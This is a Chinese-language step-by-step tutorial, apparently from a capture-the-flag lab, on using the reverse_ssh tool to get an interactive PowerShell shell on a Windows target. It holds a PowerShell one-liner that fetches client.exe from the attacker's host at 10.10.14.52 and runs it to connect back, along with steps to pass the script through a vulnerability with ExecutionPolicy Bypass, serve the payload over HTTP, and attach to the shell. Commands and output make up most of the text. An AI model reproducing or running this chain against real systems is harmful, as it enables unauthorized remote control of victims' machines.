目录
🌐 工具简介
⚙️ 前提条件
攻击主机 (Linux)
目标主机 (Windows)
📋 详细步骤
步骤 1:安装 Go 环境
步骤 2:安装必要依赖
步骤 3:下载并编译 reverse_ssh
步骤 4:配置密钥
步骤 5:启动 reverse_ssh 服务器
步骤 6:创建 PowerShell 脚本
步骤 7:生成 diff.txt
步骤 8:启动 HTTP 服务器
步骤 9:目标主机:执行 PowerShell 脚本
步骤 10:攻击主机:确认连接并获取 ID
步骤 11:攻击主机:建立 SSH 连接
❗️ 错误排查与修复
错误 1:主机密钥验证失败
错误 2:公钥认证失败
🌐 工具简介
reverse_ssh 是一个基于 Go 语言开发的开源工具,用于创建反向 SSH 连接。它允许 Windows 目标主机绕过防火墙或 NAT,主动连接到攻击主机的 SSH 服务器,提供交互式 PowerShell shell。
-
服务器端:运行在攻击主机,监听指定端口(如 3232)。
-
客户端 (client.exe):运行在 Windows 目标主机,连接到攻击主机。
-
功能:支持动态端口转发、文件传输(SCP/SFTP)及 Windows 交互式 shell(通过 conpty/winpty)。
⚙️ 前提条件
攻击主机 (Linux)
-
操作系统:Linux(如 Ubuntu)。
-
工具:Git、Go(版本 1.17 或更高)、make、Python3、OpenSSH 客户端。
-
防火墙:开放端口 3232(服务器端口)和 80(HTTP 服务器端口)。
-
IP 地址:10.10.14.52(通过 ifconfig 或 ip addr 确认)。
-
用户:以 root 或普通用户(如 fidey)操作,需注意文件权限。
目标主机 (Windows)
-
系统:Windows(支持 PowerShell)。
-
网络:可访问 10.10.14.52:3232 和 10.10.14.52:80。
-
权限:通过漏洞利用或其他方式可执行 PowerShell 脚本。
📋 详细步骤
以下步骤假设工作目录为 /home/fidey/Desktop/reverse_ssh,用户为 fidey,但以 root 执行部分命令。
步骤 1:安装 Go 环境
目标:确保 Go(版本 1.17 或更高)正确安装以编译 reverse_ssh。
-
检查现有 Go 版本:
go version
-
如果版本低于 1.17 或未安装,继续以下步骤。
-
卸载旧版 Go(如有):
sudo rm -rf /usr/local/go sudo apt remove golang-go -y
-
下载并安装 Go 1.22.3(截至 2025/05/21 的最新版本):
wget https://go.dev/dl/go1.22.3.linux-amd64.tar.gz sudo tar -C /usr/local -xzf go1.22.3.linux-amd64.tar.gz
-
配置环境变量:
-
编辑 ~/.bashrc 或 ~/.zshrc:
vim ~/.bashrc
-
添加:
export PATH=$PATH:/usr/local/go/bin
-
-
使配置生效:
source ~/.bashrc
-
验证 Go 安装:
go version
预期输出:
go version go1.22.3 linux/amd64
-
如果输出不正确,检查下载链接或环境变量配置。
步骤 2:安装必要依赖
目标:确保系统具备编译和运行 reverse_ssh 的依赖。
-
更新系统包索引:
sudo apt update
-
安装 Git 和 make:
sudo apt install git make -y
-
安装 OpenSSH 客户端(用于后续 SSH 连接):
sudo apt install openssh-client -y
-
攻击主机生成ssh公钥私钥 命令解释:
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
############## ssh-keygen OpenSSH 提供的密钥生成工具,用于创建 SSH 认证所需的公钥/私钥对。 ############## -t ed25519 指定密钥类型为 ed25519(基于 Edwards-curve Digital Signature Algorithm)。 优势:安全性高(等效 RSA 3072 位)、生成速度快、密钥长度短(仅 256 位)。 ############## -f ~/.ssh/id_ed25519 指定私钥保存路径为 ~/.ssh/id_ed25519(用户家目录下的 .ssh 文件夹)。 公钥会自动生成在同路径下,文件名追加 .pub(即 ~/.ssh/id_ed25519.pub)。 ############## -N "" 设置密钥的密码(passphrase)为空(""表示无密码)。 若需密码保护,可替换为 -N "your_password"。 ############## 命令输出示例:Generating public/private ed25519 key pair. Your identification has been saved in /home/user/.ssh/id_ed25519 Your public key has been saved in /home/user/.ssh/id_ed25519.pub The key fingerprint is: SHA256:AbCdEfGhIjKlMnOpQrStUvWxYz1234567890 user@hostname The key's randomart image is: +--[ED25519 256]--+ | .o+o. | | . oo . . | | . . = o | | o = * . | | . S + + . | | o = . | | + . | | . E | | .. | +----[SHA256]-----+
步骤 3:下载并编译 reverse_ssh
目标:从 GitHub 获取 reverse_ssh v1.0.16 并编译生成服务器和客户端。
-
创建工作目录:
mkdir -p /home/fidey/Desktop/reverse_ssh cd /home/fidey/Desktop/reverse_ssh
-
克隆 reverse_ssh 仓库(指定 v1.0.16):
git clone --branch v1.0.16 https://github.com/NHAS/reverse_ssh.git cd reverse_ssh
-
编译服务器和客户端:
make
预期输出:
-
bin/server(Linux 服务器)
-
bin/client(Linux 客户端)
-
bin/id_ed25519(服务器私钥)
-
bin/id_ed25519.pub(服务器公钥)
-
-
为 Windows 编译客户端:
GOOS=windows GOARCH=amd64 make client
预期输出:bin/client.exe(Windows 可执行文件)。
-
验证编译结果:
ls -l bin/
预期输出:
-rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 client -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 client.exe -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 server -rw------- 1 fidey fidey 411 May 21 13:00 id_ed25519 -rw-r--r-- 1 fidey fidey 102 May 21 13:00 id_ed25519.pub
步骤 4:配置密钥
目标:配置服务器密钥和攻击主机公钥以接受连接。
-
进入 bin 目录:
cd bin
-
检查服务器密钥:
ls id_ed25519 id_ed25519.pub
-
若缺失,重新生成:
ssh-keygen -t ed25519 -f id_ed25519 -N ""
-
生成攻击主机的 SSH 密钥对(若未生成):
-
检查 root 用户密钥:
ls -l /root/.ssh/id_ed25519 /root/.ssh/id_ed25519.pub
-
若不存在,生成:
sudo ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
-
-
创建并配置 authorized_keys:
-
创建 authorized_keys 文件:
touch authorized_keys
-
添加攻击主机的公钥(假设以 root 连接):
cat /root/.ssh/id_ed25519.pub >> authorized_keys
注意:不要将 id_ed25519.pub(服务器公钥)复制到 authorized_keys,这是常见错误。
-
-
设置文件权限:
chmod 600 authorized_keys id_ed25519 chmod 644 id_ed25519.pub
-
验证权限:
ls -l authorized_keys id_ed25519 id_ed25519.pub
预期输出:
-rw------- 1 fidey fidey 102 May 21 13:01 authorized_keys -rw------- 1 fidey fidey 411 May 21 13:00 id_ed25519 -rw-r--r-- 1 fidey fidey 102 May 21 13:00 id_ed25519.pub
步骤 5:启动 reverse_ssh 服务器
目标:运行服务器,监听 0.0.0.0:3232。
-
确保在 bin 目录:
pwd
预期输出:
/home/fidey/Desktop/reverse_ssh/reverse_ssh/bin
-
启动服务器:
./server 0.0.0.0:3232 --insecure
--insecure:跳过部分握手验证,简化连接。 预期输出:
2025/05/21 13:17:02 Listening on 0.0.0.0:3232 2025/05/21 13:17:02 Loading private key from: /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin/id_ed25519 2025/05/21 13:17:02 Server key fingerprint: df32b00476bafa0d...
-
若提示 authorized_keys 缺失,检查步骤 4。
-
验证端口监听:
netstat -tuln | grep 3232
预期输出:
tcp 0 0 0.0.0.0:3232 0.0.0.0:* LISTEN
步骤 6:创建 PowerShell 脚本
目标:生成脚本让目标主机下载并执行 client.exe。
-
创建 hello_world.ps1:
echo 'iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232' > hello_world.ps1
-
验证脚本内容:
cat hello_world.ps1
预期输出:
iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232
步骤 7:生成 diff.txt
目标:将脚本保存为 diff 格式,便于传递。
-
初始化 Git 仓库:
git init
-
添加并生成 diff:
git add hello_world.ps1 git diff --cached > diff.txt
-
验证 diff.txt:
cat diff.txt
预期输出:
diff --git a/hello_world.ps1 b/hello_world.ps1 new file mode 100644 --- /dev/null +++ b/hello_world.ps1 @@ -0,0 +1 @@ +iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe;C:\windows\temp\client.exe 10.10.14.52:3232
步骤 8:启动 HTTP 服务器
目标:提供 client.exe 下载。
-
确保 client.exe 存在:
ls client.exe
-
启动 HTTP 服务器:
python3 -m http.server 80
在新终端运行,避免干扰服务器进程。
-
验证:在攻击主机或另一台机器上运行:
curl http://10.10.14.52:80/client.exe
应返回二进制数据或下载文件。
步骤 9:目标主机:执行 PowerShell 脚本
目标:通过漏洞利用运行脚本,建立反向连接。
-
传递脚本:
-
将 diff.txt 内容转换为 C:\temp\hello_world.ps1(通过漏洞传递)。
-
示例内容:
iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232
-
-
执行脚本:
-
在目标主机打开 PowerShell(Win + R,输入 powershell)。
-
运行:
powershell -ExecutionPolicy Bypass -File C:\temp\hello_world.ps1
-
脚本下载 client.exe 并运行,连接到 10.10.14.52:3232。
-
-
检查 client.exe 是否运行:
dir C:\windows\temp\client.exe
-
若缺失,检查 HTTP 服务器或防病毒软件拦截。
-
步骤 10:攻击主机:确认连接并获取 ID
目标:记录目标主机的连接 ID。
-
查看服务器终端输出:
-
成功连接示例:
2025/05/21 13:20:00 [10.10.11.207:53849] INFO sshd.go:360 acceptConn() : New controllable connection with id 36bc39ca884246b576a98cf7168e530becb34e
-
-
记录连接 ID(如 36bc39ca884246b576a98cf7168e530becb34e)。
步骤 11:攻击主机:建立 SSH 连接
目标:通过连接 ID 获取目标主机的 PowerShell shell。
-
尝试连接:
ssh -J 10.10.14.52:3232 36bc39ca884246b576a98cf7168e530becb34e
-
成功后进入 PowerShell shell: 预期输出:
Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\TeamCity\buildAgent\work\74c2f03019966b3e> whoami coder\svc_teamcity
❗️ 错误排查与修复
错误 1:主机密钥验证失败
错误信息:
WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! Host key for [10.10.14.52]:3232 has changed and you have requested strict checking. Host key verification failed.
原因:/root/.ssh/known_hosts 中的主机密钥与当前服务器密钥不匹配。 解决方案:
-
移除旧主机密钥:
ssh-keygen -f "/root/.ssh/known_hosts" -R "[10.10.14.52]:3232"
-
临时禁用严格检查(仅测试用):
ssh -J 10.10.14.52:3232 -o StrictHostKeyChecking=no 36bc39ca884246b576a98cf7168e530becb34e
-
重新连接:
ssh -J 10.10.14.52:3232 <connection_id>
错误 2:公钥认证失败
错误信息:
root@10.10.14.52: Permission denied (publickey). kex_exchange_identification: Connection closed by remote host
原因:攻击主机的公钥未在服务器的 authorized_keys 中。 解决方案:
-
检查攻击主机密钥:
ls -l /root/.ssh/id_ed25519 /root/.ssh/id_ed25519.pub
-
若缺失,生成:
sudo ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
-
添加公钥到 authorized_keys:
cat /root/.ssh/id_ed25519.pub >> /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin